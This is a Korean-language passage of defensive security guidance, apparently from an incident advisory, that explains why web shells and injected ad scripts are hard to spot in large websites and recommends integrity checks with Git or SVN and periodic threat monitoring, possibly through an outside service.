공격자는 정상 소스코드 내 웹셸 및 광고 스크립트를 삽입하는 방식을 사용하기 때문에 탐지하기 어렵다. 특히 웹 사이트를 구성하고 있는 웹 소스코드는 수백 ~ 수천 개의 파일로 이루어져 있어, 관리자가 소스코드 변조를 수동으로 확인하기에는 어려움이 존재한다.

따라서, 형상 관리 도구(Git, SVN 등)를 활용해 운영 중인 소스코드가 무단으로 변조되지 않았는지 주기적으로 무결성 검사를 수행하고, 무단 변조 여부를 신속히 파악할 수 있는 체계를 갖추는 것이 중요하다.

3) 주기적인 위협 모니터링

공격자가 광고 스크립트 삽입 공격을 수행하기 위해서는 웹셸 업로드, 악성 파일 생성, 악성 작업 스케줄러 생성, 지속적인 악성코드 실행 등의 행위가 시스템에서 수행된다. 이러한 공격자가 자주 악용하는 행위를 사전에 식별하면 사고(랜섬웨어, 정보 유출 등)가 발생하는 것을 방지할 수 있다.

따라서, 위협을 주기적으로 식별하고 위협이 사고로 이어지지 않도록 대응하는 위협 모니터링 방안을 마련하는 것이 중요하다. 내부적으로 보안 조직 및 인력이 확보되지 않은 경우, 실제 침해사고 분석이 가능하고 전문적인 경험을 가진 외부 업체의 위협 모니터링 서비스를 통해 주기적인 모니터링 방안을 마련할 수 있다.